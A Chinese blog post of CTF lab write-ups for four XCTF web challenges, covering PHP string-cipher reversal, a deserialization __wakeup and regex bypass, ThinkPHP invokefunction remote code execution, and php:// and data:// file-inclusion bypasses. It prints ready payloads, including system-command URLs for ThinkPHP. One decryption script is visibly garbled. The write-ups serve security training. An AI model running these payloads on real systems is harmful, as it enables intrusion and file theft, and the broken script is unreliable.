跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP大前端算法

攻防世界 Web 题解:反序列化、RCE 及文件包含漏洞

综述由AI生成通过四个攻防世界 Web 题目演示常见漏洞利用。包括字符串加密解密逆向、PHP 反序列化绕过__wakeup 与正则过滤、ThinkPHP 框架 RCE 利用以及文件包含伪协议绕过。提供了详细代码审计思路与 Payload 构造方法。

DotNetGuy发布于 2026/4/6更新于 2026/5/2438 浏览
攻防世界 Web 题解:反序列化、RCE 及文件包含漏洞

文章配图

一:WEB 2

打开是一个 php 代码。

文章配图

代码审计

  1. 首先给了一段密文也就是需要解密的 flag。
  2. 然后对传进来的 str 进行字符串反转($_o)。
  3. 进入 for 循环,首先截取一个字符 (赋值给$c),将这个字符转换为 ascii 值进行 +1(赋值给$)然后将 +1 后的 ascii 在转换为字符 (赋值给$_c) 输出最后进行拼接(例如先将 abc 变为 cba 然后再加 1 最后拼接就是 dbc)。
  4. 对$_进行 base64 编码然后再反转最后进行 rot13 转换。

解密只需要将如上倒过来即可。先进行 rot13 转化然后进行 strrev 反转在进行 base64 解码将解码后的结果进行截取对其 ascii 减 1 后转换为字符最后拼接完再反转即可得到 flag。

文章配图


解密代码如下

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; // 逆向 str_rot13 
$step1 = str_rot13($miwen); 
// 逆向 strrev 
$step2 = strrev($step1); 
// 逆向 base64_encode 
$step3 = base64_decode($step2); 
// 逆向 ord($char)+1 
$decrypted = ""; 
for ($i = 0; $i < (); ++) { 
     = (, , ); 
     .= (() - ); 
} 

 = (); 
 ; 

strlen
$step3
$i
$char
substr
$step3
$i
1
$decrypted
chr
ord
$char
1
// 反转字符串得到最终结果
$flag
strrev
$decrypted
echo
$flag
?>

二:Web_php_unserialize

打开为如下所示,是一个反序列化的题目。

文章配图

进行代码审计

首先定义一个 demo 的类,并且定义一个私有属性初始值为 index.php。 然后又声明了两个个函数,$file 是用于接收外部传入的文件路径。 __construct:对变量进行赋初始值也就是 index.php。 _destruct:在程序结束时以高亮输出。 在往下下看它提示我们 flag 在 fl4g.php 中,所以只要我们将 index.php 修改为 fl4g.php 就可以得到 flag。

第二段代码,首先接受一个 var 对其进行 base64 解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出 stop。

但是这段代码中有两个限制条件那就是__wakeup 和正则表达式 preg_match('/[oc]:\d+:/i')。

Wakeup 非常容易绕过那就是属性值大于属性个数 正则该如何绕过。

序列化结果如下:

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

文章配图

**Wakeup 绕过:**O:4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

**正则绕过:**O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

文章配图

但是我们发现输入后没有出现 flag。

文章配图

其实问题在下图所示。

Demo 前后有两个空格,那我们加上这两个空格看看能不能拿到 flag。

文章配图

还是什么都没有。

文章配图

只能用如下方法了使用 str_replace 替换方案。

最终

payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

文章配图

成功拿到 flag。

文章配图


解密代码

<?php 
class Demo { 
    private $file = 'index.php'; 
    public function __construct($file) { 
        $this->file = $file; 
    } 
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 
    function __wakeup() { 
        if ($this->file != 'index.php') { //the secret is in the fl4g.php 
            $this->file = 'index.php'; 
        } 
    } 
} 
$flag=new Demo ('fl4g.php'); 
$flag =(serialize($flag)); 
$flag =str_replace('O:4','O:+4',$flag); 
$flag =str_replace(':1:',':2:',$flag); 
echo base64_encode($flag); 
?> 

三:php_rce

打开如下图所示,

通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过 url 调用到框架内部的敏感函数,进而导致漏洞。

文章配图

通过 payload:

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"

找到 flag 所在位置。

文章配图

最终 payload:

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

成功拿到 flag。

文章配图


四:web_php_include

打开如下如所示,这是一道文件包含题目。

文章配图

代码审计

首先接收一个 page 然后进行 while 循环利用 strstr 函数查看 page 中是否包含 php:// 如果包含则将其替换为空 然后退出循环

所以如果想拿到 flag 就需要绕过 strstr 函数,它过滤的是 php:// 那么利用大小写不就绕过了 构建 payload:?page=Php://input.然后利用爆破执行命令 成功找到 flag 文件。

文章配图

成功拿到 flag。

文章配图


五:总结

1. WEB 2

题型特征

  • 基础类题目,通常考察查看源代码、HTTP 头信息或简单请求操作。
  • 可能隐藏 Flag 在 HTML 注释、响应头或通过简单请求触发返回。

解题思路

  1. 查看页面源代码:按 F12 或右键查看源码,搜索 flag 或 hint,常见于注释中。
  2. 检查 HTTP 响应头:使用浏览器开发者工具的'网络'标签查看响应头,可能直接包含 Flag。
  3. 发送特定请求:修改请求方法(GET/POST),如提交参数?what=flag;使用 Python 脚本快速发送 POST 请求。
2. Web_php_unserialize

题型特征

  • 涉及 PHP 反序列化漏洞,通过构造恶意序列化数据触发魔术方法(如__destruct)执行命令。
  • 需绕过__wakeup 方法限制及正则过滤。

解题思路

  1. 绕过__wakeup:修改序列化字符串中对象属性数量,使其大于实际数量(如将 O:4:"Demo":1:改为 O:+4:"Demo":2:)。
  2. 正则过滤绕过:替换 O:4 为 O:+4,利用正则表达式/[oc]:\d+:/i 不匹配 + 的特性。
  3. 构造 Payload:示例序列化字符串:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},需进行 Base64 编码后传参。
3. php_rce

题型特征

  • 利用框架的远程代码执行漏洞,通过特定路由或参数注入命令。

解题思路

  1. Payload 构造:尝试不同版本 Payload。
  2. 读取文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
  3. 查找 Flag 文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
  4. 执行系统命令:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
4. web_php_include

题型特征

  • 文件包含漏洞,利用 PHP 伪协议(如 data://、php://input)执行代码。
  • 常见过滤场景:替换 php://关键字,需绕过协议限制。

解题思路

  1. 伪协议利用:
  2. 绕过 php://过滤:大小写混淆(如 pHp://)或使用 data://。
  3. 文件读取:使用 php://filter 读取源码:?page=php://filter/convert.base64-encode/resource=index.php
  4. Base64 编码绕过:?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==
  5. 执行代码:?page=data://text/plain,

目录

  1. 一:WEB 2
  2. 二:Webphpunserialize
  3. 三:php_rce
  4. 四:webphpinclude
  5. 五:总结
  6. 1. WEB 2
  7. 2. Webphpunserialize
  8. 3. php_rce
  9. 4. webphpinclude
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Dify 与 MySQL 融合:基于 MCP 协议的数据交互实践
  • 从零构建 Java CRM 系统:架构设计与实战解析
  • Claude Code 在 Linux(Ubuntu) 上的安装部署指南
  • OpenClaw Skills 合集开源:700+ 本地 AI Agent 技能插件盘点
  • Python 兼职接单实战指南:渠道、流程与风险规避
  • GitHub 国内镜像站汇总与加速配置实战
  • Android 传感器全解:注册监听与常用传感器应用
  • AIGC 周报:周鸿祎谈 GPT 影响,蔡崇信论 AI 替代与侵权风险
  • 2025 上海市人工智能训练师高级/三级考试介绍与复习
  • 滑动窗口算法详解:最小子数组与无重复字符
  • AI 大模型技术原理与应用全解析
  • 机器学习 KNN 算法原理及 C++/Python 实战实现
  • AI 大模型学习路线:从入门到精通的全方位指南
  • AI 大模型行业现状、应用场景及产业链分析
  • DeepSeek-R1-Distill-Llama-8B 部署:Docker Compose 推理服务
  • C++ 泛型编程与模板详解:从原理到工程实践
  • 鸿蒙金融理财全栈项目:生态合作、用户运营与数据变现优化
  • 大模型 AI 产品经理学习路线:从零基础到精通指南
  • OpenClaw 接入飞书机器人并部署 Ollama 本地大模型实战
  • Neo4j 5.26 版本下载安装配置步骤

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online